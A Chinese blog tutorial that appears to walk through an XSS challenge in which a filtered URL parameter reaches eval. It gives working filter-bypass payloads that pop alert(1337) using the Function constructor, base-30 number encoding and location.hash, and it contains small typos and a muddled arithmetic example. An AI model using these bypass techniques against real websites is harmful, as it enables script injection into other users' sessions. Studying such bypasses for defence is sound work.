安全基础 --- 过滤情况下实现弹窗展现

使用mafia对弹窗进行过滤

maifa = (new URL(location).searchParams.get('mafia') || '1+1');
// 使用URL对象获取当前页面的URL,并从中提取参数“mafia”的值,如果URL中无“mafia”这个参数,则默认设置值为'1+1'(如果参数值存在为真,则将其赋值给maifa变量,否则将'1+1'赋值给mafia变量)
mafia = mafia.slice(0,50);
// 将这个参数截取0-50位
mafia = mafia.replace(/[\`\'\"+\-\!\\\[\]]/gi,'_');
// 查看是否匹配这样的正则,匹配的话,将其置为下划线
mafia = mafia.replace(/alert|confirm|prompt/g,'_');
// 如果有alert,confirm,prompt,也将其置为下划线
eval(mafia);
// eval对mafia该函数求值并返回结果

PS:代码已分析

解析代码

从代码中可看出,过滤了(`),('),("),(+),(-),(!);以及 过滤了弹窗函数alert,confirm,prompt这三个。

PS:弹窗最常用的三个函数,为alert,confirm,prompt,都可实现弹窗

payload:alert(1337)
payload:confirm(1337)
payload:prompt(1337)

绕过限制

(1)Function

Function构造函数创建一个新的Function对象。直接调用此构造函数可用动态创建函数,创建的函数只能在全局作用域中运行。

// Function实现弹窗
Function(/ALERT(1337)/.source.toLowerCase())()
// 使用toLowerCase()方法将传递进来的ALERT(1337)参数转成小写,然后用最后的()执行

(2)eval

利用30进制来绕过。

parseInt(*string*,*radix*)解析一个字符并返回指定基数的十进制整数,radix是2-36之间的整数,表示被解析的字符串基数。

  • string:将被解析的值。若不是字符串,将其转为字符串(使用toString抽象操作)。
  • radix(可选):2-36,表示字符串基数。例:指定16表示被解析值是十六进制数。
parseInt('1234',5) // 将'123'看做5进制数,返回十进制数38 =》1*5^2 + 2*5^1 + 3*5^0

为何使用30进制?

parseInt('alert',30)
a 11
t 30 --> 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F....
// alert中,最大的字母是t,t对应的数字是30,所以使用30进制

例:使用29进制,t无法转换
parseInt('alert',29)  // 261984
261984..toString(29)  // 'aler'

实现绕过,出现弹窗

parseInt('alert',30)  
// 8680439
8680439..toString(30)
// 'alert'
eval(8680439..toString(30))(1337)

(3)location中的hash绕过

url.href = 'https://www.baidu.com/en-US/search?q=URL#search-results-close-container'
console.log(url.search-results-close-container)

可看出location.hash是取url中#后面的部分。

使用slice(1):从第一位开始切割,将alert(1)切割出来
payload:eval(location.hash.slice(1))#alert(1337)
// 使用上述代码即可实现绕过
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

雨天_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值